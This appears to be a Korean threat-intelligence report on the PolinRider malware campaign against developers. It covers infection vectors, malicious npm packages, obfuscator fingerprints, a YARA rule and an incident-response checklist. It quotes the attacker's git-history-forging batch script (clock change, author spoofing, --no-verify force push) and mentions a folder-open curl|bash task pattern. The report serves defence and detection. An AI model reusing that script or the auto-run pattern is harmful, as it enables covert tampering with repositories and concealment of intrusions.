OpenSourceMalware 가 추적 중인 활성 캠페인. Lazarus 산하 PolinRider 가
npm 패키지 · 가짜 면접 take-home 프로젝트 · 악성 VS Code 설정을 통해
개발자 PC 에 obfuscated JavaScript 페이로드를 주입하고, 블록체인 dead-drop
C2 로 2 차 페이로드(Beavertail)를 호출한다.
최초 공개 2026-03-07최종 갱신 2026-04-11변종 2 개 활성클러스터 PolinRider × TasksJacker × Contagious Interview
📊 Impact 통계
5 주만에 2.9 배 확산. 단일 오픈소스 프로젝트(Neutralinojs, 8.4k stars) 침해로 contributor 수백 명에 도미노 감염.
1,951
+1,276 (5주)
감염 repo
1,047
+695 (5주)
고유 owner
~930
개인 user
~117
조직
2
obfuscator 변종
4
주입 벡터
6+
C2 서브도메인
2+
무기화 template
핵심 변화 (4 월 업데이트) — PolinRider 와 TasksJacker 클러스터의 operational merger 가 확인됨.
101 개 temp_auto_push.bat 피해 중 22 개에서 악성 .vscode/tasks.json 동시 발견.
같은 행위자가 두 벡터를 같은 victim pool 에 동시 운영.
🗓 캠페인 타임라인
2026-03-07 · 초기 공개
OSM 1차 리포트
675 repos / 352 owners. 단일 변종 rmcej%otb%, 단일 벡터(config 파일 주입), 단일 C2 서브도메인(260120.vercel.app).
Neutralinojs 침해 사례 분석으로 캠페인 가시화.
2026-03-13 · npm 대응
악성 패키지 takedown
npm 이 tailwind-mainanimation 을 0.0.1-security placeholder 로 교체.
allavin · blackedward publisher 계정 삭제. 단 victim 의 package.json 에는 ghost 참조 잔존.
2026-03-18 · 데이터 추가
affected_repos.csv 갱신
769 repos / 399 owners.
2026-04-10 · 2일 hunt 1차
신규 변종 + Vercel C2 5 개 발견
Cot%3t=shtP 변종 — 모든 unique fingerprint 가 rotation 됨 (YARA 룰 회피 의도). 5 개 신규 Vercel 서브도메인 식별.
Cross-engine enumeration (GitHub Code Search + Sourcegraph) 으로 v3 master 에 1,556 repos 등록.
2026-04-11 · 2일 hunt 2차
PolinRider × TasksJacker 통합 확인
215 신규 repo 추가 → 누적 1,951 repos / 1,047 owners.
ShoeVista · StakingGame 가짜 면접 템플릿 식별 (Contagious Interview playbook).
재감염 사례 발견: HassanHabibTahir/testclient 가 v1+v2 마커 동시 보유.
🎯 4 가지 감염 벡터
모두 동일 캠페인 산출물. 동일 victim 에 복수 벡터가 적용되기도 함.
1
Config 파일 주입
postcss.config.mjs (62%), tailwind.config.js, eslint.config.mjs,
next.config.mjs, vite.config.*, webpack.config.js 등에
export default 뒤로 obfuscated JS 를 append.
빌드 시 자동 import → 무인 실행. 1,200+ repos 영향.
2
.vscode/tasks.json
runOn: folderOpen 으로 폴더 열자마자 curl | bash 실행.
Vercel 호스팅 C2 가 PolinRider JS loader 를 다운로드.
TasksJacker 클러스터 — 27+ 직접 submission.
3
가짜 .woff2 폰트
public/fonts/fa-solid-400.woff2 등 바이너리 asset 으로 위장한 JS 페이로드.
Node 가 import 가능한 경로에 배치되어 실행.
관측 사례 AgbaD/odoo. 단일 사례지만 detection bypass 신호.
4
악성 npm dependency
Tailwind/PostCSS 사칭 패키지. postinstall 시 project root config 파일에 페이로드 주입.
가짜 take-home 템플릿이 dependency 로 사전 탑재한 케이스도 있음.
7 패키지 확인 · 모두 publisher 계정 삭제됨.
🧬 2 종 obfuscator 변종 비교
아키텍처(4-layer shuffle cipher + 블록체인 dead-drop C2)는 동일.
Apr 10 에 모든 unique fingerprint 가 rotation 됨 — 공개된 YARA 룰 회피 목적이 강력히 의심됨.
Attribute
Original v1
New v2 (Apr 2026)
Signature marker
rmcej%otb%
Cot%3t=shtP
Shuffle seed (L1)
2857687
1111436
Secondary seed (L2)
2667686
3896884
Decoder fn name
_$_1e42
MDy
Globals injected
global['!'], ['r'], ['m']
global['_V'], ['r'], ['m']
버전 태그
—
'8-st1'..'8-st59'
블록체인 C2
TRON / Aptos / BSC unchanged
XOR keys
동일 unchanged
현재 상태
활성
활성
재감염 확인 — HassanHabibTahir/testclient 가 두 변종 마커를 동시 보유.
공격자 도구가 기존 감염자 host 에 재실행됨. 한 번 청소된 repo 가 깨끗하다고 가정하지 말 것.
핵심 함의 — npm 공급망 공격이 아니라 채용시장 소셜 엔지니어링이다.
victim 은 기존 감염자가 아닌 신규 후보자 계정. 헌터는
test-*, *-interview, *-assessment 네이밍 패턴을 추가 heuristic 으로 사용해야 한다.
📦 악성 npm 패키지
전부 Tailwind/PostCSS 사칭. allavin · blackedward 등 publisher 계정 모두 삭제. ghost 참조는 package.json 에 잔존.
Package
Version
Status
Publisher
Victims (Apr 11)
tailwindcss-style-animate
1.1.6
observed
(deleted)
34
tailwind-mainanimation
2.3.3 → 0.0.1-security
taken down
allavin
1
tailwind-autoanimation
2.3.6
removed
blackedward
2
tailwindcss-typography-style
0.8.2
observed
(deleted)
6
tailwindcss-style-modify
0.8.3
observed
(deleted)
4
tailwindcss-animate-style
1.2.5
observed
(deleted)
0
tailwind-animationbased
—
observed
(deleted)
0
🪟 temp_auto_push.bat — git history 위조 도구
공격자가 감염 머신 101 곳에 leftover 로 남긴 Windows 배치. JS 페이로드가 청소되어도 이 파일 자체가 과거 침해의 직접 증거.
@echo off:: 1) 마지막 commit 의 metadata 추출for /f "delims=" %%A in ('git log -1 --format=%%cd') do set LAST_COMMIT_DATE=%%A
...
:: 2) Windows 시스템 시계를 last commit 시점으로 변경date %LAST_COMMIT_DATE%
time %LAST_COMMIT_TIME%
:: 3) author 위장 후 amend — 시계가 과거이므로 timestamp 보존됨git config --local user.name %USER_NAME%
git config --local user.email %USER_EMAIL%
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
:: 4) 시계 복구 후 force push (--no-verify 로 hook 우회)date %CURRENT_DATE%
git push -uf origin %CURRENT_BRANCH% --no-verify
Windows 시계 변경엔 관리자 권한 필요. force-push 로 remote history 덮어쓰기. 두 --no-verify 로 CI/pre-commit hook 완전 우회.
결과 — author · timestamp · 메시지가 원본과 동일한 위조 commit. 평범한 git log 검사로 탐지 불가.
🔍 YARA 룰 — 두 변종 동시 탐지
rule polinrider_payload {
meta:
description = "PolinRider shuffle-cipher — v1 rmcej%otb% + v2 Cot%3t=shtP"
author = "OpenSourceMalware.com"
date = "2026-04-10"
severity = "high"strings:
// v1 fingerprints
$marker_v1 = "rmcej%otb%"
$seed1_v1 = "2857687"
$seed2_v1 = "2667686"
$varname_v1 = "_$_1e42"
$global_bang = "global['!']"// v2 fingerprints (rotated, Apr 2026)
$marker_v2 = "Cot%3t=shtP"
$seed1_v2 = "1111436"
$seed2_v2 = "3896884"
$varname_v2 = "MDy"
$global_V = "global['_V']"// 공통
$global_r = "global['r'] = require"
$global_m = "global['m'] = module"condition:
any of ($marker_*) or
($global_bang and ($seed1_v1 or $varname_v1)) or
($global_V and ($seed1_v2 or $varname_v2)) or
($global_r and $global_m and (any of ($seed1_*)))
}
🚨 Incident Response 체크리스트
감염 의심 시 즉시
모든 JS config 파일에서 export default 또는 module.exports 뒤쪽 코드 감사. monorepo nested path (apps/*/, frontend/, client/) 도 확인
temp_auto_push.bat · config.bat 존재 여부 확인 — JS 페이로드가 청소됐어도 이 파일은 과거 침해의 직접 증거, 즉시 credential rotation
기본 브랜치가 아닌 모든 브랜치 + git history 도 스캔 (force push 위조 가능성)
public/ · static/ · assets/ 의 예상하지 못한 .woff / .woff2 검토 (fake-font sub-variant)
package.json 에서 Tailwind/PostCSS 계열 신규/업데이트 의존성 (위 7 패키지)
grep -r "postinstall" node_modules/*/package.json 으로 postinstall script 전수조사
.vscode/tasks.json 의 runOn: folderOpen + curl|bash 패턴, StakingGame UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9